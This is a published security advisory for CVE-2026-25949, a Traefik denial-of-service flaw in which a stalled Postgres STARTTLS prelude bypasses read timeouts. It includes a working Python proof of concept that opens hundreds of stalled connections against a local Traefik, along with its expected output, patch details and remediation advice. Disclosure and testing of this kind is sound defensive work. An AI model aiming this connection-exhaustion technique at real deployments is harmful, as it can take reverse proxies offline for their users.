CVE-2026-25949: Traefik: TCP readTimeout bypass via STARTTLS on Postgres

Published Feb 12, 2026
·
Updated

Impact

There is a potential vulnerability in Traefik managing STARTTLS requests.

An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.6.8

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary A remote, unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.

This triggers during protocol detection before routing, so it is reachable on an entrypoint even when no Postgres/TCP routers are configured (the PoC uses only an HTTP router).

Details Traefik applies per-connection deadlines based on entryPoints.<name>.transport.respondingTimeouts.readTimeout to prevent protocol detection and request reads from blocking forever (see pkg/server/serverentrypointtcp.go, which sets SetReadDeadline on accepted connections).

However, in the TCP router protocol detection path (pkg/server/router/tcp/router.go), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:

- detect Postgres SSLRequest (8-byte signature), - call conn.SetDeadline(time.Time{}) (clears all deadlines), - then enter the Postgres STARTTLS handler (servePostgres).

The Postgres handler (pkg/server/router/tcp/postgres.go) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (clientHelloInfo(br)), but with deadlines removed. An attacker can therefore:

1. connect to any internet-exposed TCP entrypoint, 2. send the Postgres SSLRequest (SSL negotiation request), 3. receive Traefik’s single-byte response (S), 4. stop sending any further bytes.

Each such connection remains open past the configured readTimeout (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.

Of note: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.

Tested versions: - v3.6.7 - master at commit a4a91344edcdd6276c1b766ca19ee3f0e346480f

PoC Prerequisites: - Linux host - Python 3 - A prebuilt Traefik v3.6.7 binary. The script below expects the path in the script’s TRAEFIKBIN constant (edit if needed).

Execute the script below: <details> <summary>Script (Click to expand)</summary>

python #!/usr/bin/env python3 from future import annotations

import os import socket import subprocess import tempfile import time from typing import Final

Hardcode the Traefik binary path. Edit as needed. TRAEFIKBIN: Final[str] = "/usr/local/sbin/traefik"

HOST: Final[str] = "127.0.0.1" PORT: Final[int] = 18080

STARTUPSLEEPSECS: Final[float] = 2.0 READTIMEOUTSECS: Final[float] = 2.0 SLEEPSECS: Final[float] = 3.5 NCONNS: Final[int] = 300

POSTGRESSSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])

def fdcount(pid: int) -> int: return len(os.listdir(f"/proc/{pid}/fd"))

def openidleconns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for in range(n): conns.append(socket.createconnection((HOST, PORT))) return conns

def openpostgressslrequestconns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for in range(n): s = socket.createconnection((HOST, PORT)) s.settimeout(1.0) s.sendall(POSTGRESSSLREQUEST) try: = s.recv(1) # typically b"S" except socket.timeout: pass conns.append(s) return conns

def closeall(conns: list[socket.socket]) -> None: for s in conns: try: s.close() except OSError: pass

def main() -> None: with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td: dyn = os.path.join(td, "dynamic.yml") with open(dyn, "w", encoding="utf-8") as f: f.write( f"""\ http: routers: r: entryPoints: [web] rule: "PathPrefix(/)" service: s services: s: loadBalancer: servers: - url: "http://{HOST}:9" """ )

proc = subprocess.Popen( [ TRAEFIKBIN, "--log.level=ERROR", f"--entryPoints.web.address=:{PORT}", f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READTIMEOUTSECS}s", f"--providers.file.filename={dyn}", "--providers.file.watch=false", ], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT, ) try: time.sleep(STARTUPSLEEPSECS)

pid = proc.pid if pid is None: raise RuntimeError("Traefik PID is None")

ver = subprocess.checkoutput([TRAEFIKBIN, "version"], text=True).strip() print(ver) print(f"Traefik={TRAEFIKBIN}") print(f"Host={HOST} Port={PORT} ReadTimeout={READTIMEOUTSECS}s N={NCONNS} Sleep={SLEEPSECS}s")

base = fdcount(pid) print(f"traefikpid={pid} fdbase={base}")

idle = openidleconns(NCONNS) fdafteropenidle = fdcount(pid) print(f"baselineopened={NCONNS} fdafteropen={fdafteropenidle} delta={fdafteropenidle - base}") time.sleep(SLEEPSECS) fdaftersleepidle = fdcount(pid) print(f"baselineaftersleep fd={fdaftersleepidle} deltafrombase={fdaftersleepidle - base}") closeall(idle)

pg = openpostgressslrequestconns(NCONNS) fdafteropenpg = fdcount(pid) print(f"candidateopened={NCONNS} fdafteropen={fdafteropenpg} delta={fdafteropenpg - base}") time.sleep(SLEEPSECS) fdaftersleeppg = fdcount(pid) print(f"candidateaftersleep fd={fdaftersleeppg} deltafrombase={fdaftersleeppg - base}") closeall(pg)

if (fdaftersleepidle - base) <= 5 and (fdaftersleeppg - base) >= (NCONNS // 2): print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.") else: print("INCONCLUSIVE: adjust NCONNS upward or inspect Traefik logs.") finally: proc.terminate() try: proc.wait(timeout=3.0) except subprocess.TimeoutExpired: proc.kill() proc.wait(timeout=3.0)

if name == "main": main() </details>

<details> <summary>Expected output (Click to expand)</summary>

bash Version: 3.6.7 Codename: ramequin Go version: go1.24.11 Built: 2026-01-14T14:04:03Z OS/Arch: linux/amd64 Traefik=/usr/local/sbin/traefik Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s traefikpid=46204 fdbase=6 baselineopened=300 fdafteropen=128 delta=122 baselineaftersleep fd=6 deltafrombase=0 candidateopened=300 fdafteropen=306 delta=300 candidateaftersleep fd=306 deltafrombase=300 VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout. </details>

Impact Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a readTimeout is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.

</details>

Other sources

Traefik is an HTTP reverse proxy and load balancer. Prior to 3.6.8, there is a potential vulnerability in Traefik managing STARTTLS requests. An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service. This vulnerability is fixed in 3.6.8.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/traefik/traefik/v3<=3.6.7
3.6.8
Traefik traefik<3.6.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/traefik/traefik/v3 to a version that resolves this vulnerability.

    Fixed in 3.6.8
  2. Upgrade

    Upgrade traefik to a version that resolves this vulnerability.

    Fixed in 3.6.8
  3. Configuration

    Ensure entrypoint transport respondingTimeouts.readTimeout is set on any internet-exposed TCP entrypoint using protocol detection/switcher, so connections that do not match the Postgres STARTTLS fast path will be closed after the configured timeout.

    Traefik entryPoints.<name>.transport.respondingTimeouts readTimeout = (set to a non-zero value as configured)

Event History

Feb 12, 2026
Advisory Published
via GitHub·03:54 PM
Data Sourced
via GitHub·03:54 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·08:01 PM
Data Sourced
via MITRE·08:01 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
RemedyAffected Software
Data Sourced
via Red Hat·09:01 PM
DescriptionSeverityAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-25949?

CVE-2026-25949 has a critical severity rating due to its potential to allow unauthenticated clients to exploit the vulnerability.

2

How do I fix CVE-2026-25949?

To remediate CVE-2026-25949, upgrade Traefik to version 3.6.8 or later.

3

What software is affected by CVE-2026-25949?

CVE-2026-25949 affects Traefik versions up to and including 3.6.7.

4

What type of attack does CVE-2026-25949 enable?

CVE-2026-25949 enables an attacker to bypass the read timeout by stalling the connection after the STARTTLS request.

5

Is authentication required to exploit CVE-2026-25949?

No, CVE-2026-25949 can be exploited by unauthenticated clients.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203